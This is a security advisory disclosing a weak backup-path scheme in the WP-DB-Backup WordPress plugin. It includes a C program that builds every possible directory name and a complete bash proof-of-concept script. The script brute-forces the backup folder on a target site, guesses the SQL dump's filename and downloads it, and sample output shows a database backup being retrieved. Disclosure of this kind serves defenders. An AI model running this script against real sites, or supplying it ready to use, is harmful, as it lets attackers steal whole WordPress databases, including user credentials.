Author: Larry W. Cashdollar, @_larry0
Download: https://wordpress.org/plugins/wp-db-backup/
Downloads: 2,087,709
Website: http://austinmatzko.com/wordpress-plugins/wp-db-backup/
Vendor: austin@pressedcode.com
Notified: 11/2/2014, Acknowledged 11/4/2014
CVE:
OSVDBID:
Description: "WP-DB-Backup allows you easily to backup your core WordPress database tables. You may also backup other tables in the same database."
Vulnerability: WP-DB-Backup creates a backup storage path under the wp-contents directory of the wordpress installation if the option to store backups locally is selected (not default). The path is:
/wordpress/wp-content/backup-[5_characters_of_md5sum]/ Where the backup directory name is derived from lines in wp-db-backup.php:
36 $rand = substr( md5( md5( DB_PASSWORD ) ), -5 );
.
.
42 if ( ! defined('WP_BACKUP_DIR') ) {
43 define('WP_BACKUP_DIR', $wpdbb_content_dir . '/backup-' . $rand . '/');
44 }
45
46 if ( ! defined('WP_BACKUP_URL') ) {
47 define('WP_BACKUP_URL', $wpdbb_content_url . '/backup-' . $rand . '/');
48 }
It's not random enough as the md5 characters can only be 0-9 and a-f (hexadecimal), which turns out to be 16^5 possible combinations or 1048576. And it will always be five characters no less.
A small C program can generate a rainbow table (uncompressed about 6MB) in a few seconds.
/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path
Larry W. Cashdollar*/
#include <stdio.h>
#include <stdlib.h>
int main (void)
{
char string[16] = "0123456789abcdef";
int x, y, z, a, b;
for (x = 0; x < 16; x++)
{
for (y = 0; y < 16; y++)
{
for (z = 0; z < 16; z++)
{
for (a = 0; a < 16; a++)
{
for (b = 0; b < 16; b++)
{
printf ("%c%c%c%c%c\n", string[x], string[y], string[z],
string[a], string[b]);
}
}
}
}
}
return(0);
}
# gcc rainbow.c -o rain
# time ./rain > rainbow
real 0m0.193s
user 0m0.188s
sys 0m0.004s
# ls -l rainbow
-rw-r--r-- 1 root root 6291456 Oct 31 21:21 rainbow
# wc -l rainbow
1048576 rainbow
So we've got all of our possible directory locations, we just need a way to check when we've found the correct one.
An attempt is made to block file listing by placing a 0 sized index.php file in the backup directory.
Because of the index.php file we will know if we've gotten the correct directory name because we will receive a 200 response from the web server vs 404 file not found.
So a full PoC would be create our rainbow table with target URL, run through all of the combinations until we get a 200 response.
Then start guessing the SQL filename.
The backup files can be guessed as they follow a common format:
DBNAME_TABLE_PREFIX_YYYYMMDAY_SWATCH_TIME.sql.
For example:
wordpress_wp_20141031_036.sql
wordpress typically defaults the Prefix name to wp_.
The database name will be the hardest thing to guess, use some derivative of wordpress, wp, etc..
File names are generated by lines in wp-db-backup.php:
99 $datum = date("Ymd_B");
100 $this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";
Where B is Swatch Internet time 000-999.
So PoC:
#!/bin/bash
#Larry W. Cashdollar, @_larry0
#Will brute force and search a Wordpress target site with WP-DB-Backup v2.2.4 plugin installed for any backups done on
#20141031 assumes the wordpress database is wordpress and the table prefix is wp_
#http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/
#http://thehackerblog.com/auditing-wp-db-backup-wordpress-plugin-why-using-the-database-password-for-entropy-is-a-bad-idea/
#run ./exp targetsite
DATE="20141031"; #Date to search
if [ ! -e rainbow ]; then
cat << -EOF- > rbow.c
/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path
Larry W. Cashdollar*/
#include <stdio.h>
int
main (void)
{
char string[16] = "0123456789abcdef";
int x, y, z, a, b;
for (x = 0; x < 16; x++)
for (y = 0; y < 16; y++)
for (z = 0; z < 16; z++)
for (a = 0; a < 16; a++)
for (b = 0; b < 16; b++)
printf ("%c%c%c%c%c\n", string[x], string[y], string[z],
string[a], string[b]);
return(0);
}
-EOF-
echo "[+] Compiling rbow.c"
gcc rbow.c -o rbow
echo "[+] Creating rainbow table..."
./rbow > rainbow
fi
if [ ! -e found.txt ]; then
Z=0
K=`wc -l rainbow|awk '{print $1}'`;
echo "[+] Searching....";
for x in `cat rainbow`; do
CPATH="http://$1/wp-content/backup-$x/";
RESULT=`curl -s --head $CPATH|grep 200`;
if [ -n "$RESULT" ]; then
echo "[+] Location $CPATH Found";
echo "[+] Received $RESULT";
echo $x > found.txt;
break; #break here
fi;
echo -n "Percent Done: ";
Y=`echo "scale=6;($Z/$K)*100"|bc`;
echo -n $Y
echo "%";
Z=$(( $Z + 1 ));
done
else
x=`cat found.txt`;
fi
# Now that we have the directory lets try to locate the database backup file.
K=999;
for y in `seq -w 0 999`; do
CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql"; #change WP Database Name and Table Prefix here
RESULT=`curl -s --head $CPATH|grep 200`;
if [ -n "$RESULT" ]; then
echo "[+] Database backup $CPATH Found";
echo "[+] Received $RESULT";
wget $CPATH
exit; #break here
fi;
echo -n "Percent Done: ";
Y=`echo "scale=2;($Z/$K)*100"|bc`;
echo -n $Y
echo "%";
Z=$(( $Z + 1 ));
done
PoC output
I’ve trimmed this down for brevity.
root@vapidlabs:~# ./exp2.sh www.vapidlabs.com 20141031
[+] Searching....
Percent Done: 0%
Percent Done: 1.960700%
Percent Done: 3.921500%
Percent Done: 5.882300%
Percent Done: 7.843100%
Percent Done: 9.803900%
Percent Done: 11.764700%
Percent Done: 13.725400%
Percent Done: 15.686200%
Percent Done: 17.647000%
Percent Done: 19.607800%
Percent Done: 21.568600%
Percent Done: 23.529400%
Percent Done: 25.490100%
Percent Done: 27.450900%
Percent Done: 29.411700%
Percent Done: 31.372500%
Percent Done: 33.333300%
Percent Done: 35.294100%
Percent Done: 37.254900%
Percent Done: 39.215600%
Percent Done: 41.176400%
Percent Done: 43.137200%
Percent Done: 45.098000%
Percent Done: 47.058800%
Percent Done: 49.019600%
Percent Done: 50.980300%
Percent Done: 52.941100%
Percent Done: 54.901900%
Percent Done: 56.862700%
Percent Done: 58.823500%
Percent Done: 60.784300%
Percent Done: 62.745000%
Percent Done: 64.705800%
Percent Done: 66.666600%
Percent Done: 68.627400%
Percent Done: 70.588200%
Percent Done: 72.549000%
Percent Done: 74.509800%
Percent Done: 76.470500%
Percent Done: 78.431300%
Percent Done: 80.392100%
Percent Done: 82.352900%
Percent Done: 84.313700%
Percent Done: 86.274500%
Percent Done: 88.235200%
Percent Done: 90.196000%
Percent Done: 92.156800%
Percent Done: 94.117600%
Percent Done: 96.078400%
[+] Location http://www.vapidlabs.com/wp-content/backup-baff5/ Found
[+] Received HTTP/1.1 200 OK
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 5.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 6.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 7.00%
Percent Done: 8.00%
Percent Done: 8.00%
Percent Done: 8.00%
Percent Done: 8.00%
Percent Done: 8.00%
Percent Done: 8.00%
[+] Database backup http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql Found
[+] Received HTTP/1.1 200 OK
--2014-11-17 09:44:35-- http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql
Resolving www.vapidlabs.com (www.vapidlabs.com)... 192.168.0.26
Connecting to www.vapidlabs.com (www.vapidlabs.com)|192.168.0.26|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 438401 (428K) [application/x-sql]
Saving to: `wordpress_wp_20141031_036.sql'
100%[===================================================================================>] 438,401 --.-K/s in 0.001s
2014-11-17 09:44:35 (325 MB/s) - `wordpress_wp_20141031_036.sql' saved [438401/438401]
Also the backup files are left open to any local user to read.
$ ls -l wordpress_wp_20141031_036.sql
-rw-r--r-- 1 www-data www-data 438401 Oct 31 19:52 wordpress_wp_20141031_036.sql
Recommended Fix:
Create .htaccess directory under root backup directory.